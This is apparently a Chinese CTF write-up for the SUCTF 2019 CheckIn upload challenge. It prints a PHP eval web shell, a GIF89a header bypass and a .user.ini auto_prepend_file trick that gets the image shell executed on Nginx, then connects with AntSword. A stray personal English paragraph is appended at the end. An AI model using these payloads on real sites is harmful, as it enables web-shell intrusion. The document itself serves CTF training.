[SUCTF 2019]CheckIn 题解


看起来依旧是文件上传漏洞题目

<?php @eval($_POST['v']); ?>

直接上传个php后缀一句话木马试下,提示illegal suffix,被拦截了

burpsuite抓包修改MIME类型为image/png,依旧被拦截,尝试修改后缀为png以图片马形式上传

发现<?会被检测出来,那么换种方式实现图片马

<script language='php'>eval($_POST['v']);</script>

被exif_imagetype函数拦截,那么我们使用GIF89a图片头欺骗,重写木马

上传成功并且回显了路径

但是木马是以图片形式上传的,无法直接被服务器解析执行。是否可以继续使用.htaccess配置文件来解析呢?
查看github上的源码,发现服务器是通过Nginx实现的,.htaccess只对使用Apache实现的服务器有效,在本题自然无法使用。
这里引入一个新方法:.user.ini配置文件,相当于用户自定义的php.ini,我们可以通过这个配置文件来进行构造后门的操作。

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

这两个配置对我们帮助很大,auto_prepend_file的作用是在同目录下的其他.php 文件头部中包含配置中所指定的文件,auto_append_file = <filename>是在尾部,与include函数有些相似。

有了这个前置知识点,接下来怎么做就很明白了:构造包含auto_prepend_file或auto_append_file的.user.ini配置文件
,上传后,使用蚁剑连接图片马,得到flag

.user.ini:
GIF89a
auto_prepend_file=horse.png
auto_append_file=horse.png

上传后,访问回显目录下的index.php触发图片马执行

http://aae394a3-0f5e-4dbc-aa08-f940a7de57c4.node5.buuoj.cn:81/uploads/b0134c7ffd3f740ea96136fe2f4f8ced/index.php

出现这两个代表.user.ini已经生效,木马已经运行,因为auto_prepend_file遇到非php代码内容会直接输出在页面上。

蚁剑连接index.php

http://aae394a3-0f5e-4dbc-aa08-f940a7de57c4.node5.buuoj.cn:81/uploads/b0134c7ffd3f740ea96136fe2f4f8ced/index.php

根目录下找到flag

以上

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [SUCTF 2019]CheckIn 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.